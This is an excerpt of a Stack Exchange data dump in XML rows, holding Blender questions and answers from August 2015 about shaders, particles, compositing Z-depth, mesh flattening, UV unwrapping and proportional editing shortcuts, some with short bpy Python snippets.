  <row Id="35189" PostTypeId="2" ParentId="35146" CreationDate="2015-08-06T10:50:41.947" Score="1" Body="&lt;p&gt;I managed to figure this out on my own after toying around a bit with the method suggested by Gonzou.  Before passing the Normal output into the Mapping node, the solution is to first pass it through a Vector Transform node, and set it to transform from Object to Camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/teql8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/teql8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And that results in the desired effect:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IQ8Pb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IQ8Pb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1897" LastActivityDate="2015-08-06T10:50:41.947" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35190" PostTypeId="1" CreationDate="2015-08-06T10:56:48.477" Score="4" ViewCount="123" Body="&lt;p&gt;I wonder if there is possibility to get uv_on_emitter for all particles including child particles?&#xA;My loop over particles look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for pindex in range(0, num_parents + num_children): &#xA;    p_uv = partSystem.uv_on_emitter(mod, partSystem.particles[pindex])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When there are children enabled I got index out of range because partSystem.particles returns only parents, not the children.&lt;/p&gt;&#xA;" OwnerUserId="16188" LastActivityDate="2017-07-13T17:08:25.977" Title="How to get uv_on_emitter for child particles?" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35191" PostTypeId="1" CreationDate="2015-08-06T13:08:26.957" Score="5" ViewCount="2129" Body="&lt;p&gt;I read some article how to get the z-Depth values from the Viewer Node. So i created a scene with a camera and a Plane with distance z=2. Then i tried to get RGB values and also z-Depth with compositing Nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code from my Plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.scene.render.use_compositing = True&#xA;bpy.context.scene.use_nodes = True&#xA;tree = bpy.context.scene.node_tree&#xA;links = tree.links&#xA;for n in tree.nodes:&#xA;    tree.nodes.remove(n)&#xA;rl = tree.nodes.new('CompositorNodeRLayers')      &#xA;viewer = tree.nodes.new('CompositorNodeViewer')   &#xA;viewer.use_alpha = False&#xA;links.new(rl.outputs[0], viewer.inputs[0])  # link Image output to Viewer input&#xA;&#xA;# render and get result&#xA;bpy.ops.render.render()&#xA;links.new(rl.outputs[0], viewer.inputs[0])  # link Image output to Viewer input&#xA;pixels = bpy.data.images['Viewer Node'].pixels&#xA;print(pixels[0])&#xA;arr = np.array(pixels[:])&#xA;arr = np.delete(arr, np.arange(3, arr.size, 4)) # delete alpha&#xA;arr = arr.reshape((height,width,3))&#xA;&#xA;# save z-depth &#xA;links.new(rl.outputs[2], viewer.inputs[0])  # link Image output to Viewer input&#xA;bpy.ops.image.reload()&#xA;pixelsZ = bpy.data.images['Viewer Node'].pixels&#xA;print(pixelsZ[0])&#xA;arrZ = np.array(pixels[:])[::4] # every 4th px&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Both pixel arrays are the same. I tried this also manually and there it works perfectly. I thought about refreshing the image (in the image editor it refreshs the Viewer Node automatically when i change the node links), but even this didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have anybody an idea how to fix this or what i'm doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: I think i got the problem: I have to render again, after changing the nodes. is there an option to change and read the information without rerendering?&lt;/p&gt;&#xA;" OwnerUserId="14054" LastEditorUserId="14054" LastEditDate="2015-08-06T14:59:26.867" LastActivityDate="2017-10-25T19:44:37.317" Title="How to get Color and Z-Depth from Viewer Node?" Tags="&lt;python&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="10" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35192" PostTypeId="2" ParentId="35177" CreationDate="2015-08-06T13:47:15.157" Score="1" Body="&lt;h2&gt;Make them shading properties visible&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I think that your problem doesn't rely on the shader itself, which can be simply made by a mixed Diffuse+Emitter shader, but on the ability to make their properties come out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two sphere in an emty space are not enough. To show how a material is emissive I would suggest to put some obect around. See how the dffusive semispheres next to the main geometry help to show that both spheres are emissive, and with different intensity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/11xur.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/11xur.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another tip is to avoid using mono-component colors. That's why you see a node to lower the saturation. If one object is fully diffusive (red rgb = 1,0,0) and is hit by a blue light (rgb = 0,0,1) it will not be visible, as none of the object points can react to that light. They share no component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice in the image above how the red sphere is more bright in proximity of the blue one. &lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/399/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=399&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-08-06T19:32:01.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35193" PostTypeId="1" AcceptedAnswerId="35763" CreationDate="2015-08-06T13:47:49.977" Score="18" ViewCount="25584" Body="&lt;p&gt;Let's take a non-planar quad here for a simple example, how to only move one vertex on it, to finally make it planar &lt;strong&gt;while keeping the other three vertices still&lt;/strong&gt;?&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2015-08-20T05:05:25.373" LastActivityDate="2019-09-26T11:29:48.893" Title="How to flatten a non-planar face to a targeted plane?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;transforms&gt;" AnswerCount="4" CommentCount="4" FavoriteCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="35195" PostTypeId="1" CreationDate="2015-08-06T14:08:47.297" Score="1" ViewCount="1039" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bvgyC.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bvgyC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;I'm working on a human character and I'm in the middle of modeling. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the entire body near complete but I noticed some of my points were off. Like the chest-shoulder region wasn't matching up. I tried to grab with &lt;kbd&gt;G&lt;/kbd&gt; but  that ruined the placement of my character hips. So i tried to scale it, same issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I decided to move the points to where I needed them the attempted to adjust the hips. Now when I move or scale the hips, my previous points are not set off again. Can someone tell me what my issue is??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have &lt;em&gt;Mirror&lt;/em&gt;, &lt;em&gt;Skin&lt;/em&gt;  and &lt;em&gt;Subsurf&lt;/em&gt; modifiers added, in that order, but not yet applied.&lt;/p&gt;&#xA;" OwnerUserId="15223" LastEditorUserId="15223" LastEditDate="2015-08-06T14:33:31.767" LastActivityDate="2015-08-06T14:33:31.767" Title="Why is my scaling (Ctrl-A) causing me problems?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;modifiers&gt;&lt;mirror&gt;" AnswerCount="0" CommentCount="13" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35196" PostTypeId="1" AcceptedAnswerId="35212" CreationDate="2015-08-06T14:13:35.130" Score="1" ViewCount="2169" Body="&lt;p&gt;I'm trying to create a simple animation for water in a stream.  The idea is to have a repeating texture and then animate it's offset along the x so that over time the image scrolls to the right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This partly works.  While I can set the animation keys and while it does show the correct results when I render the image, there is no visual feedback in the 3DView when I play the timeline which makes it very difficult to tweak the animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even worse, if I try to encapsulate this in an action, none of the keys that I set on the image offset show up in the action editor.  I'd like to export this for a game which means that I need to have the keys in the action, but for some reason blender isn't doing this.  (I can set keys for location, rotation etc of the object just fine.  It's just the UV offset that isn't showing up there.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tAERz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tAERz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9732" LastActivityDate="2015-08-06T18:12:20.107" Title="How to create actions that animate texture uv offsets?" Tags="&lt;animation&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35197" PostTypeId="1" CreationDate="2015-08-06T14:28:59.183" Score="0" ViewCount="193" Body="&lt;p&gt;I want my particles to change colors with lamps, but when I shine a lamp on the particles, they are still white. I made the lamp color purple and increased the energy of the lamp, but it didn't work. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="16190" LastActivityDate="2015-08-06T14:59:06.797" Title="How do I change the color of particles with lamps?" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35198" PostTypeId="1" AcceptedAnswerId="35200" CreationDate="2015-08-06T14:37:24.390" Score="2" ViewCount="937" Body="&lt;p&gt;I want to be able to emulate a user clicking on a point on the 3D view screen with the left mouse button from a particular angle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The goal here is to snap the 3D cursor to the volume of an object from that projected point (something that blender does very nicely when used via the UI, but would probably be more than a bit tricky to do in other ways).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? If not, which approach can get the same result?&lt;/p&gt;&#xA;" OwnerUserId="15861" LastActivityDate="2015-09-05T15:42:03.860" Title="Triggerring left click events via python on 3D view screen" Tags="&lt;python&gt;&lt;scripting&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35200" PostTypeId="2" ParentId="35198" CreationDate="2015-08-06T14:46:25.947" Score="3" Body="&lt;p&gt;You could try casting a ray from a specific angle, and see where on the mesh the ray intersects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the mathutils library for the function &lt;code&gt;intersect_ray_tri&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mathutils.geometry.intersect_ray_tri(v1, v2, v3, ray, orig, clip=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_59_0/mathutils.geometry.html#mathutils.geometry.intersect_ray_tri&quot; rel=&quot;nofollow&quot;&gt;Blender API intersect_ray_tri Function&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is some code I found googling:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/archive/index.php/t-154521.html&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/archive/index.php/t-154521.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def CheckIntersections(mesh):&#xA;     intersects = 0&#xA;     obj = Blender.Object.GetSelected()&#xA;     origin = Blender.Mathutils.Vector(obj[0].getLocation(&quot;worldspace&quot;))&#xA;     ray = Blender.Mathutils.Vector(0,0,20)&#xA;     print &quot;Shooting ray from &quot;,origin,&quot; towards &quot;,ray&#xA;     for f in mesh.faces: # for each face&#xA;          v = f.verts # get vertices&#xA;          intersectionpoint = Blender.Mathutils.Intersect(v[0].co,v[1].co,v[2].co,ray,origin,1)&#xA;          if intersectionpoint != None:&#xA;               print &quot;Ray intersects face at &quot;, intersectionpoint&#xA;     intersects = intersects + 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you know the vertices of the object you want to position the 3D cursor on, you can select those verticies (1 or more) and snap cursor to selected (with more selected, it will go in the center (average) of the selected vertices).&lt;/p&gt;&#xA;" OwnerUserId="4960" LastEditorUserId="4960" LastEditDate="2015-08-06T14:58:19.907" LastActivityDate="2015-08-06T14:58:19.907" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="35201" PostTypeId="2" ParentId="35193" CreationDate="2015-08-06T14:49:54.577" Score="7" Body="&lt;p&gt;You can do it manually in few steps.  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a face of 3 vertices that you want to align to.  &lt;/li&gt;&#xA;&lt;li&gt;Hit &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;7&lt;/kbd&gt; to align the view to the normal of that face while the face is selected in face selection mode.  &lt;/li&gt;&#xA;&lt;li&gt;Hit &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; shortcut and select Cursor to Selected.  &lt;/li&gt;&#xA;&lt;li&gt;Change Pivot Point to Cursor and Transform Orientation to View.  &lt;/li&gt;&#xA;&lt;li&gt;Select the rest of the vertices, hit &lt;kbd&gt;S&lt;/kbd&gt; button to scale, &lt;kbd&gt;Z&lt;/kbd&gt; button twice to limit scale on the Z axis of the view and input 0.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-08-06T14:49:54.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35202" PostTypeId="2" ParentId="35197" CreationDate="2015-08-06T14:59:06.797" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eNgSU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eNgSU.png&quot; alt=&quot;Blender Window&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make your particles &quot;physical objects&quot; make a mesh off scene that you want your particles to duplicate. Then, in the particle menu, scroll down to the &quot;Render&quot; panel and check the &quot;Object&quot; box. In the text entry box select you duplicate object and you're done!&lt;/p&gt;&#xA;" OwnerUserId="13050" LastActivityDate="2015-08-06T14:59:06.797" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35203" PostTypeId="1" AcceptedAnswerId="62030" CreationDate="2015-08-06T15:42:36.670" Score="6" ViewCount="2296" Body="&lt;p&gt;Often when I am modeling something I need to add some very fine detail to certain areas of the mesh so I add some very tight loop cuts in that area.  However when I go to unwrap it, even if it is very simple square geometry Blender will severely warp the pelt. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I have a simple cube and unwrap it it looks fine:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/6AAER.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6AAER.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if I add a few very close loop cuts the pelt is horribly distorted:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/eaOAA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eaOAA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is another example:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/F4saV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/F4saV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In both these cases the geometry is very simple and box-like, all quads.  But it becomes distorted when I unwrap it and I have to waste time manually aligning all the edges in the UV editor.  This also sometimes happens when I have many proximity cuts for use with a subsurf modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does Blender do this and is there a way of preventing/fixing it?&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2016-08-31T16:31:15.187" Title="Why does Blender warp UV pelt when unwrapping tight geometry?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;uv&gt;&lt;workflow&gt;&lt;topology&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35205" PostTypeId="1" CreationDate="2015-08-06T15:54:18.117" Score="7" ViewCount="3614" Body="&lt;p&gt;With text, you have a really handy control called 'offset', which allows you to easily increase/decrease the size of your letters from their centres not by changing the shape proportionally but by adding/detracting from its outline, which looks like this (border remains uniform):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tGoys.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tGoys.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By contrast, when trying to scale down a mesh object using the 's' it looks like this (borders not uniform):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mim3C.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mim3C.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a similar 'offset' control that allows similar for mesh objects or any other way of achieving the same result? Seems odd that such a useful tool would be exclusive to text.&lt;/p&gt;&#xA;" OwnerUserId="16192" LastEditorUserId="16192" LastEditDate="2015-08-07T05:22:14.880" LastActivityDate="2015-08-07T17:37:55.243" Title="Offset for Mesh?" Tags="&lt;mesh&gt;&lt;geometry&gt;" AnswerCount="1" CommentCount="13" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35206" PostTypeId="2" ParentId="953" CreationDate="2015-08-06T16:23:20.610" Score="4" Body="&lt;p&gt;to print all objects that have changed this code works for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def print_updated_objects(scene):&#xA;    updated_objects = []&#xA;    for o in scene.objects:&#xA;        if o.is_updated:&#xA;            updated_objects.append(o)&#xA;&#xA;    if(len(updated_objects) &amp;gt; 0):&#xA;        print(&quot;updated objects: %s&quot;%updated_objects[0])&#xA;&#xA;bpy.app.handlers.scene_update_post.append(print_updated_objects)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16194" LastEditorUserId="16194" LastEditDate="2015-08-06T16:41:58.697" LastActivityDate="2015-08-06T16:41:58.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35207" PostTypeId="2" ParentId="35203" CreationDate="2015-08-06T16:39:05.513" Score="0" Body="&lt;p&gt;If you make your loop cuts without the mesh selected (and showing the UV layout), then select all to see the UV layout again, it seems to work properly that way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NVzXm.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NVzXm.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-08-06T16:39:05.513" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35209" PostTypeId="1" CreationDate="2015-08-06T17:20:28.713" Score="2" ViewCount="519" Body="&lt;p&gt;Alright so I'm trying to make a cover art for a song with this heart and so i want it to have a fracture in the center and kinda have some space in between the split. The issue is that every time I try to use the Cell Fracture feature, it simulates the entire boundary of the mesh and I only want it to fracture the front part of it. I`ve tried selecting the front face in Edit Mode and a few other things but I simply can't fix this and need some help.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/RSfE8.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RSfE8.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aeAh0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aeAh0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16195" LastEditorUserId="599" LastEditDate="2015-08-06T19:01:07.473" LastActivityDate="2015-08-06T19:01:07.473" Title="How to make cell fracture only fracture specific face?" Tags="&lt;modeling&gt;&lt;add-on&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35210" PostTypeId="1" AcceptedAnswerId="35211" CreationDate="2015-08-06T17:37:06.680" Score="1" ViewCount="676" Body="&lt;p&gt;All these vertices have different Y coordinates yet when I select them all, I cannot move all of them to the same plane of a Y coordinate. How can I move all of them without tedious work?&lt;a href=&quot;https://i.stack.imgur.com/fXNRN.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fXNRN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user15462" LastActivityDate="2015-08-06T18:17:57.817" Title="100's of Vertices all with different Y Coordinates need to be moved to same Y coordinate plane" Tags="&lt;blender-internal-render-engine&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35211" PostTypeId="2" ParentId="35210" CreationDate="2015-08-06T17:57:21.420" Score="4" Body="&lt;p&gt;To scale all vertices to conform to a certain &quot;plane&quot; in a direction (Y axis), select all the vertices you want to move.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Place the 3D cursor anywhere along the Y plane you want (IE place the cursor's Y position to the position you want your vertices to move to and ignore its Z and X position).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change the pivot point to &lt;code&gt;3D cursor&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/O2hHm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/O2hHm.png&quot; alt=&quot;3d Cursor Pivot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;code&gt;s&lt;/code&gt; to enable scale mode, then press &lt;code&gt;y&lt;/code&gt; to restrict scaling in the Y axis. Scale &quot;down&quot; to as close to 0 as possible, or type &lt;code&gt;0&lt;/code&gt;. All the vertices will snap to the cursor's Y position while maintaining their original X and Z coordinates.&lt;/p&gt;&#xA;" OwnerUserId="4960" LastActivityDate="2015-08-06T17:57:21.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35212" PostTypeId="2" ParentId="35196" CreationDate="2015-08-06T18:12:20.107" Score="1" Body="&lt;p&gt;I created a simple .blend file using Blender Render (BI) and put a texture on the default cube and animated the offset X of the texture.  I set the viewport to Material (between Texture and Render).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While the Material view shows me the texture, and is updated if I alter the Offset X manually, it utterly fails to draw correctly when that Offset X is altered by the animation system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am inclined to say this is a bug in blender, and you are mildly doomed.  I say mildly, because when I change the viewport scheme from Material to Render, then I can click around in the timeline and it updates the view correctly.  Unforunately, that version of the view is incapable of animating on my laptop (and maybe all computers).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the dope sheet, it only shows keyframes for the ACTIVE action.  Once you have &quot;encapsulated&quot; the keyframes (probably using the double chevron in the NLA editor) that action is now a strip and you have to select it and &lt;kbd&gt;Tab&lt;/kbd&gt; into it to make it the active action.  It is also important to remember that these keyframes are in the action on your MATERIAL datablock, not your object datablock.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-08-06T18:12:20.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35213" PostTypeId="1" AcceptedAnswerId="35215" CreationDate="2015-08-06T18:13:07.053" Score="11" ViewCount="4333" Body="&lt;p&gt;I know the &lt;kbd&gt;O&lt;/kbd&gt; button is the shortcut for enabling the &lt;strong&gt;&lt;em&gt;Proportional Editing&lt;/em&gt;&lt;/strong&gt; mode. What if I want to change its type to &lt;em&gt;Connected&lt;/em&gt; type using a shortcut?&#xA;&lt;a href=&quot;https://i.stack.imgur.com/282gZ.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/282gZ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any shortcuts for enabling the proportional editing modes (such as &lt;em&gt;Connected&lt;/em&gt; and &lt;em&gt;Projected (2D)&lt;/em&gt;) and falloff types (such as &lt;em&gt;Sphere&lt;/em&gt;, &lt;em&gt;Linear&lt;/em&gt;, &lt;em&gt;Random&lt;/em&gt; etc.)?&#xA;&lt;a href=&quot;https://i.stack.imgur.com/gSSCC.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gSSCC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="241" LastEditDate="2020-05-26T15:14:03.773" LastActivityDate="2020-05-26T15:14:03.773" Title="Any shortcut for proportional editing mode and the falloff types?" Tags="&lt;editing&gt;&lt;shortcut&gt;&lt;proportional-editing&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35214" PostTypeId="2" ParentId="35210" CreationDate="2015-08-06T18:17:57.817" Score="1" Body="&lt;p&gt;Select all your veritces and scale to zero &lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mx6wV.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mx6wV.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-08-06T18:17:57.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35215" PostTypeId="2" ParentId="35213" CreationDate="2015-08-06T18:23:55.237" Score="15" Body="&lt;p&gt;You can turn on &lt;strong&gt;Connected&lt;/strong&gt; &lt;em&gt;Proportional Editing&lt;/em&gt; by pressing &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;O&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9xwlY.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9xwlY.gif&quot; alt=&quot;gif_1&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that if pressing that shortcut again it will turn off &lt;em&gt;Proportional Editing&lt;/em&gt; at all. If you'd like just to turn off &lt;strong&gt;Connected&lt;/strong&gt; but leave &lt;em&gt;Proportional Editing&lt;/em&gt; you should press &lt;kbd&gt;O&lt;/kbd&gt; again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can loop through all the falloff types by pressing &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;O&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/csPWO.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/csPWO.gif&quot; alt=&quot;gif_2&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1245" LastEditorUserId="1245" LastEditDate="2015-08-06T18:34:22.920" LastActivityDate="2015-08-06T18:34:22.920" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
